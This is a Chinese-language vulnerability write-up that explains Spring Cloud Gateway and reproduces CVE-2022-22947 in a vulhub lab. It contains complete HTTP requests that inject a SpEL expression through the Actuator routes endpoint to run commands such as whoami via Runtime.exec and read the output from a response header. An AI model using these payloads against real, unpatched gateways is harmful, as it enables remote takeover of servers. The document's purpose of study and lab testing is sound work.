一、简介
1、Spring Cloud生态
Spring开发团队在SpringBoot的基础上开发了Spring Cloud全家桶,也就是说我们需要使用的SpringBoot的所有组件都有了现成的解决方案,比如Eureka、Ribbon、OpenFeign、Hystrix、 Config、Zuul......该漏洞涉及的组件是Gateway(网关)
2、Spring Cloud Gateway概念
组成部分
路由(Route)
我作为用户访问到网关的时候,会从后面选择一个服务进行访问,根据你的HTTP的协议里面或者服务与服务进行调用的地址里面,根据你的URI进行匹配。
断言(Predicate)
相对于URI会更加高级,可以匹配HTTP请求里面的任意内容,比如说你的HTTP的请求头里面包含了什么字段,它的值是什么的时候,就会给你转发到相应的地址;再比如说你请求的参数,不管是GET还是POST,只要我可以匹配得上,就会给你匹配到相应的地址,也是路由的一种方式......
过滤器(Filter)
它可以修改HTTP请求及响应的内容,当你HTTP请求或者响应满足什么样的内容的时候,它会修改HTTP的内容.
网关作用
● 智能路由
● 负载均衡
● 协议转换
● 权限校验
● 限流熔断
● 黑白名单
● API监控
● 日志审计
3、Gateway(网关服务)和Actuator(监控组件)
SpringBoot Actuator是SpringBoot的一个监控的组件,可以对其他Spring Boot的部件进行健康检查、 审计、统计、HTTP追踪......
由于Spring Cloud Gateway也是一种微服务的应用,所以也可以让Actuator对它进行监控,本漏洞就是通过Actuator操作gateway接口列表来实现远程执行命令
构造Actuator操作Gateway接口列表
http://host:port/actuator/gateway/ id
● 获取所有路由:Get请求:http://localhost:xxxx/actuator/gateway/routes/
● 添加路由:POST请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
● 删除路由:DELETE请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
● 获取指定路由:GET请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
● 刷新路由:POST请求:http://localhost:xxxx/actuator/gateway/refresh
其中,调用添加路由的端点时,可以向路由中加入filters,过滤器的值允许为spEL表达式,且会解析这个spEL表达式。可以通过构造spEL进行远程命令执行。构造的filters可以直接利用gateway自带的AddResponseHeader,将spEL的执行结果添加到响应头中,直接通过响应头进行查看。
//SpEL概念
Spring 表达式语言(简称“SpEL”)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于 Unified EL,但提供了额外的功能,最值得注意的是方法调用和基本的字符串模板功能。
虽然 SpEL 是 Spring 产品组合中表达式评估的基础,但它不直接与 Spring 绑定,可以独立使用。
id | HTTP Method | description |
globalfilters | GET | 返回全局Filter列表 |
routefilers | GET | 每个路由的filter |
routes | GET | 路由列表 |
routes/{id} | GET | 指定路由信息 |
routes/{id} | POST | 创建路由 |
refresh | POST | 刷新路由缓存 |
delete | POST | 删除路由 |
4、总结
Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。 Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告,据公告描述,当启用和暴露Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
二、漏洞复现
1、Centos下docker起环境Spring Cloud Gateway
//查看ip
ifconfig
//起环境
cd 桌面/vulhub-master/spring/CVE-2022-22947
docker-compose up -d
//查看端口
docker-compose ps
2、模拟攻击
{
"id": "----自定义一个路由id--------",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "--------此处构造spEL-------------"
}
}],
"uri": "http://localhost:8088------随意写个地址",
"predicates": ["Path=/aaa/**--------随意写个匹配规则"]
}
1. 按照上面的示例payload,通过构造spEL,在spEL中使用 Runtime 类执行命令。
2. 调用刷新路由的端点,刷新gateway中的路由
3. 调用获取指定路由的端点,使路由的spEL表达式被解析执行
因为 filters 中的value类型为字符串,所以如果想在获取指定路由时,通过响应看到命令执行结果,那么可以将spEL表达式通过new String(xxxxx)构造成返回String字符串的返回值。
eg. #{new String(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\", \"ls -l /"}).toString())}
3、构造spEL
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.2.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 331
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "result"
}
}
],
"uri": "http://example.com:80",
"order": 0
}
4、刷新路由缓存
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.131:8080
Connection: close
Content-Type: application/x-www-form-urlencoded
5、get回显
GET /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.2.131:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
如图回显了命令whoami
的结果
文献参考:
https://y4er.com/posts/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/
https://vulfocus.cn/#/dashboard?image_id=711335fd-33d8-4a68-b5aa-235d30ded5e2